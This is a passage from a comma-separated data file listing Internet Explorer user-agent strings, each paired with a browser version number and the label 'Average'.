NT 5.2),6,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; AskTbX-SD/5.14.1.20007; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BO2IE8_v1;ENUS),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; BOIE9;ENCA),9,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 1520) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FCTB100815; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUS),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; CMDTDF),8,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 535 Dual SIM) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; CustomExchangeBrowser; .NET CLR 1.1.4322),6,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; MDDRJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; BOIE9;ENCA),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MATM),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; yie10; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MANM),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; .NET CLR 1.1.4322; .NET CLR 1.0.3705; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Win64; x64; Trident/7.0; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; MDDRJS),9,Average\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; MALC; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; InfoPath.2),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; .NET CLR 1.1.4322),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; APC; .NET CLR 1.0.3705; .NET CLR 1.1.4322; .NET CLR 2.0.50215; InfoPath.1),6,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.04506),7,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDS; .NET4.0C),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BRI/2; OfficeLiveConnector.1.5; OfficeLivePatch.1.3; yie8),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; CMDTDFJS; F9J; InfoPath.3),8,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 535) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; WOW64; Trident/5.0; BOIE9;ENUSMSCOM),9,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 930) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; GTB7.4; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.5.30729; .NET CLR 3.0.30618; .NET4.0C; HYVES),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.2),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; HO32600; HO32600R; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; SLCC2; Media Center PC 6.0; Tablet PC 2.0; EIE10;ENUSWOL),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; ASU2JS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MASN; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; MALNJS),10,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; MDDCJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.3),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.2; WOW64; Trident/5.0),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; MAAU; MAAU),10,Average\nMozilla/5.0 (Windows; U; MSIE 9.0; WIndows NT 9.0; en-US)),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; ms-office),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; TAJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; LCJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; BOIE9;ENGB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; AskTbX-SD/5.14.1.20007; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; BRI/2; .NET4.0E; AskTbX-SD/5.17.7.45269),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; MASAJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.2),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;ENGB),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; WOW64; Trident/7.0; Touch; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; Tablet PC 2.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FBSMTWB; FunWebProducts; chromeframe/32.0.1700.107; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; ASTE; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E; Tablet PC 2.0),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET4.0C; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; ms-office),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.2),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/8.0; .NET4.0C; .NET4.0E),,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; Tablet PC 2.0),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; NISSC; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; MAARJS),10,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0; NP06),9,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; MAGWJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; BOIE9;ENUS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; BRI/1; .NET4.0C; AskTbARS/5.15.4.23821; playbrytetoolbar_Playbryte),8,Average\nMozilla/5.0 (Windows NT 6.3; ARM; Trident/7.0; Touch; ARMBJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; apetito Gruppe; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1) ; .NET CLR 1.1.4322; SpamBlockerUtility 4.8.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/5.0; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MAFSJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E),11,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; WOW64; Trident/6.0; MANM),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; Tablet PC 2.0; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C),8,Average\nMozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US),7,Average\nMozilla/5.0 (Windows NT 6.3; Win64; x64; Trident/7.0; Touch; MDDCJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; McAfee; RaidCall),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.4; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Win64; x64; Trident/7.0; .NET CLR 2.0.50727; SLCC2; .NET4.0C; .NET4.0E; .NET CLR 3.5.30729; .NET CLR 3.0.30729),11,Average\nMozilla/4.0 (compatible; MSIE 4.01; Windows CE; PPC; 240x320),4,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 1.1.4322; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; Acoo Browser 1.98.744; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729),7,Average\nMozilla/5.0 (Windows NT 6.1; Trident/7.0; MATP; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 435) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; FCTB100815; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; BOIE8;ENUS),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; Trident/5.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; .NET4.0C; .NET4.0E; InfoPath.2),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; NP02),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; WOW64; Trident/6.0; MDDRJS),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SIMBAR={96F39691-AAA7-11E2-8555-D48564A8FEF0}; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; HPDTDF; .NET4.0C; BRI/1; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/5.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; MS-RTC LM 8),9,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.2; Win64; x64; Trident/6.0; Touch; MATBJS),10,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.3; Win64; x64; Trident/7.0; .NET4.0E; .NET4.0C),11,Average\nMozilla/4.0 (compatible; MSIE 5.5; Windows NT),5.5,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Media Center PC 4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C; .NET4.0E; EIE10;ENUSWOL),8,Average\nMozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/6.0; MATP),10,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.5.21022; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (Windows NT 6.3; WOW64; Trident/7.0; Touch; SMJB; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/6.0; .NET4.0E; .NET4.0C; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; HPDTDFJS; MS-RTC LM 8),10,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; chromeframe/26.0.1410.64),9,Average\nMozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.0; Trident/4.0; InfoPath.1; SV1; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET CLR 3.0.04506.30),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; NGD_build; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; MS-RTC LM 8),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; InfoPath.2; Creative AutoUpdate v1.41.07),11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MAPBJS; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MANM; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; UHG_Win7_Build 11-15-2010; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Win32; Trident/5.0),9,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; EIE10;ENUSMSN; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MSSDMC2.5.2219.1),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; Qwest 1.0),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; BOIE9;NLBE),9,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; InfoPath.3; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.2; WOW64; Trident/7.0; .NET4.0E; .NET4.0C; Tablet PC 2.0; .NET CLR 3.5.30729; .NET CLR 2.0.50727; .NET CLR 3.0.30729; McAfee; LCJB),11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0; CLUB PC),9,Average\nMozilla/5.0 (Windows NT 6.2; ARM; Trident/7.0; Touch; rv:11.0; WPDesktop; Lumia 520) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; GTB7.5; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E),8,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; MSN Optimized;BE),9,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.0; Trident/5.0; QwestIE8),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; InfoPath.3; Tablet PC 2.0),8,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; Trident/7.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; .NET4.0C; .NET4.0E; Tablet PC 2.0; Alexa Toolbar),11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; MDDR; MS STORE DMC2.6.3411.2),8,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; GTB7.5; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; CPDTDF; .NET4.0C),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; FSJB; rv:11.0) like Gecko,11,Average\nMozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; WOW64; Trident/5.0; MASP),9,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729),8,Average\nMozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; MALCJS; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; MDDC; BRI/1; .NET4.0C; MS-RTC LM 8; MS-RTC EA 2),8,Average\nMozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322; Alexa Toolbar; (R1 1.5)),6,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729; ms-office),11,Average\nMozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.4506.2152),8,Average\nMozilla/5.0 (Windows NT 6.1; WOW64; Trident/7.0; MANM; MANM; rv:11.0) like Gecko,11,Average\nMozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.1; WOW64; Trident/7.0; 